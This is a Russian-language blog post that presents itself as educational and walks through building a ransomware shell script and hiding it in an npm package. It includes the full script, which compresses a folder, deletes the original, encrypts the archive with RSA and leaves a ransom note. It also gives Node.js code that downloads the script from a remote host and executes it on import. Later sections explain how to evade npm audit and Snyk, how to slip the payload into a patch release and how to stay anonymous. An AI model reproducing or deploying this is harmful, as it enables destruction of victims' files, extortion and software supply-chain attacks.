Сообщение первоначально было опубликовано в моем блоге
Пару недель назад я экспериментировал с созданием небольшого скрипта ransomware и изучал, как запустить его в модуле Node.js. В этом посте я объясняю, как я это сделал.
⚠️ Важные замечания ⚠️
- Я пишу этот пост в блоге исключительно в образовательных целях. Проведение атак с целью выкупа является незаконным; моя единственная мотивация — поделиться знаниями и повысить осведомленность, чтобы люди могли защитить себя.
- Я не несу никакой ответственности за то, как вы решите использовать информацию, представленную в этом посте.
Примеры кода, приведенные ниже, были протестированы на macOS. Я предполагаю, что концепция будет такой же и для других операционных систем, но команды могут немного отличаться.
- Что это делает?
- Создание сценария
- Шифрование
- Расшифровка
- Пример полного кода
- Спрятать выкупающее ПО в модуле Node.js
- Создание модуля Node.js
- Выполнение атаки
- Безопасность
- npm audit
- Snyk
- Socket.dev
- Дополнительные мысли
- «Сначала вам придется заставить людей установить пакет».
- Сохранять анонимность
- Последнее замечание
Что это делает?
Прежде чем погрузиться в код, я хочу вкратце объяснить, что делает эта атака.
Пользовательский модуль Node.js получает сценарий оболочки, размещенный на облачной платформе, создает новый файл на компьютере цели и выполняет его.
Сценарий переходит к определенной папке на компьютере цели, сжимает и шифрует эту папку с помощью асимметричного шифрования.
Это означает, что файлы цели шифруются с помощью открытого ключа злоумышленника и не могут быть расшифрованы без закрытого ключа этого же человека. В результате единственный способ вернуть свои файлы — это заплатить выкуп злоумышленнику, чтобы получить закрытый ключ.
Если это кажется вам интересным, то в этой статье мы расскажем, как это работает.
Создание сценария
Прежде всего, есть файл сценария под названием script.sh
.
Он начинается с перехода к папке на компьютере цели. В целях тестирования я создал тестовую папку на рабочем столе под названием folder-to-encrypt
, поэтому мой сценарий переходит на рабочий стол. В реальной атаке было бы эффективнее выбрать другую папку, например /Users
.
cd /Users/<your-username>/Desktop
Следующим шагом будет сжатие папки folder-to-encrypt
с помощью tar
.
tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
Флаг -czf
означает:
В этот момент, запустив bash script.sh
, вы увидите на рабочем столе как folder-to-encrypt
, так и folder-to-encrypt.tar.gz
.
В контексте ransomware люди не должны иметь доступа к исходному файлу или папке, поэтому их также необходимо удалить.
rm -rf folder-to-encrypt
На этом этапе исходная папка удаляется, но оставшийся файл имеет сжатый формат, поэтому его можно распаковать и восстановить, дважды щелкнув по нему. Это лишает людей возможности восстановить свои файлы, поэтому следующим шагом будет асимметричное шифрование с помощью openssl.
Шифрование
Не вдаваясь в подробности, асимметричное шифрование работает с двумя ключами — открытым и закрытым. Открытый ключ используется для шифрования данных. Им можно поделиться с людьми, чтобы они могли зашифровать данные, которые, по их мнению, владелец ключа не сможет расшифровать. Закрытый ключ, с другой стороны, должен оставаться закрытым, поскольку он является ключом дешифрования.
Если данные зашифрованы с помощью открытого ключа, их можно расшифровать только с помощью соответствующего закрытого ключа.
Следующим шагом будет генерирование закрытого ключа с помощью следующей команды:
openssl genrsa -aes256 -out private.pem
Эта команда использует AES (Advanced Encryption Standard), а точнее 256-битное шифрование.
После выполнения вышеуказанной команды ключ сохраняется в файле private.pem
.
Открытый ключ генерируется с помощью следующей команды:
openssl rsa -in private.pem -pubout > public.pem
После того как ключи сгенерированы, я сохраняю открытый ключ в новом файле на компьютере цели.
Это можно сделать с помощью следующих строк:
echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem
Получить необходимую информацию из открытого ключа можно с помощью команды:
head public.pem
Теперь сжатый файл может быть зашифрован.
openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
Команда выше использует новый файл key.pem
, созданный на компьютере цели, который содержит открытый ключ, и использует его для шифрования сжатого файла в файл folder-to-encrypt.enc
. В этот момент
исходный сжатый файл все еще присутствует, поэтому его также необходимо удалить.
rm -rf folder-to-encrypt.tar.gz
После этого единственный способ получить содержимое исходной папки — это получить доступ к закрытому ключу для расшифровки зашифрованного файла.
В качестве последнего шага может быть оставлена записка, сообщающая жертве о том, что ее только что взломали, и о том, как ей следует заплатить выкуп. Эта часть не является основной в данном посте.
echo "You've been hacked! Gimme all the moneyz" > note.txt
Прежде чем перейти к запуску этого файла в модуль Node.js, я хочу вкратце рассказать о том, как расшифровать этот файл.
Расшифровка
На данном этапе выполнение следующей команды в терминале расшифрует файл и восстановит исходную сжатую версию:
openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
Пример полного кода
Полный сценарий выглядит следующим образом:
cd /Users/<your-username>/Desktop
echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem
tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
rm -rf folder-to-encrypt
openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
rm -rf folder-to-encrypt.tar.gz
echo "You've been hacked! Gimme all the moneyz" > note.txt
Итак, как можно обманом заставить людей использовать его?
Спрятать выкупающее ПО в модуле Node.js
Существует несколько способов сделать это.
Один из них — упаковать сценарий оболочки как часть модуля Node.js и выполнять его при импорте пакета. Однако наличие сценария в виде файла в репозитории, вероятно, быстро вызовет некоторые сомнения.
Вместо этого я решил использовать встроенный пакет fs
для получения URL-адреса, на котором размещен сценарий, копирования его содержимого в новый файл на компьютере объекта, а затем использовать child_process.execFile()
для выполнения файла при импорте пакета в новый проект.
Таким образом, с первого взгляда может быть не очевидно, что модуль имеет вредоносные намерения. Особенно если файлы JavaScript минифицированы и обфусцированы.
Создание модуля Node.js
В новом модуле Node.js я начал с написания кода, который получает содержимое сценария и сохраняет его в новый файл script.sh
на компьютере цели:
import fetch from "node-fetch"
import fs from "fs";
async function download() {
const res = await fetch('http://<some-site>/script.sh');
await new Promise((resolve, reject) => {
const fileStream = fs.createWriteStream('./script.sh');
res.body.pipe(fileStream);
fileStream.on("finish", function () {
resolve();
});
});
}
Затем нужно выполнить его, чтобы запустить атаку.
const run = async () => {
await download()
execFile("bash", ["script.sh"]);
}
export default function innocentLookingFunction() {
return run()
}
И это все для содержимого пакета! Для того чтобы настоящая атака сработала, в модуль, вероятно, следует добавить больше кода, чтобы он выглядел так, будто делает что-то полезное.
Выполнение атаки
Чтобы проверить эту атаку, я опубликовал пакет как приватный на npm, чтобы избежать случайной установки. После импорта и вызова функции по умолчанию атака срабатывает.
import innocentLookingFunction from "@charliegerard/such-a-hacker";
innocentLookingFunction();
Готово! ✅
Безопасность
Вы можете подумать: «Наверняка это будет обнаружено какими-нибудь инструментами аудита безопасности?!». Из того, что я видел, это не так.
npm audit
Выполнение команды npm audit
на самом деле не проверяет содержимое используемых модулей. Эта команда только проверяет, включает ли ваш проект пакеты, о которых сообщалось, что они содержат уязвимости. Пока об этом вредоносном пакете не сообщается, npm audit
не будет отмечать его как потенциально опасный.
Snyk
Я не исследовал подробно, как Snyk обнаруживает потенциальные проблемы, но использование расширения Snyk VSCode также не сообщило об уязвимостях.
Socket.dev
На данный момент приложение Socket.dev GitHub поддерживает только обнаружение опечаток, поэтому я не использовал его для этого эксперимента.
Дополнительные мысли
«Сначала вам придется заставить людей установить пакет».
Лично я считаю, что это самая простая часть всего процесса.
Люди устанавливают множество различных пакетов, даже небольшие служебные функции, которые они могли бы написать сами. Я могу создать легальный пакет, опубликовать первую версию без вредоносного кода, заставить людей использовать его, а затем добавить вредоносный код в обновлении патча.
Не все проверяют, что добавляется в патчах или минорных обновлениях версий, прежде чем слить их.
В какой-то момент некоторые люди поймут, откуда взялась программа-вымогатель, и отметят ее, но к тому времени, когда они это сделают, атака уже затронет определенное количество пользователей.
Сохранять анонимность
В данном случае у меня нет достаточных знаний, чтобы гарантировать, что злоумышленник не будет найден по адресу электронной почты, использованному для публикации пакета на npm, или по отслеживанию транзакций с выкупом. Возможно, есть интересные вещи, которые можно узнать об отмывании денег, но я ничего об этом не знаю.
Что касается места размещения скрипта, я использовал платформу, которая позволяет развернуть сайт без необходимости регистрации, так что таким образом, возможно, не будет простого способа восстановить личность злоумышленника.
Последнее замечание
Я хотел закончить на важном моменте, который является основной причиной, по которой я экспериментировал с этим.
Мне потребовалось несколько часов в воскресенье днем, чтобы собрать все это вместе, без какой-либо подготовки в области безопасности.
Часть меня надеялась, что это невозможно или, по крайней мере, не так просто, поэтому я буду чувствовать себя более комфортно, используя случайные пакеты, но теперь я думаю немного по-другому.
Я заинтересован только в том, чтобы узнать, как работают вещи, но это не так для всех, поэтому если я могу это сделать, то и многие другие люди со злым умыслом тоже могут…
Я не знаю, можно ли полностью избежать подобных атак, но будьте осторожны при установке пакетов, регулярно обновляйтесь и дважды подумайте, прежде чем объединять обновления без проверки журналов изменений и изменений файлов.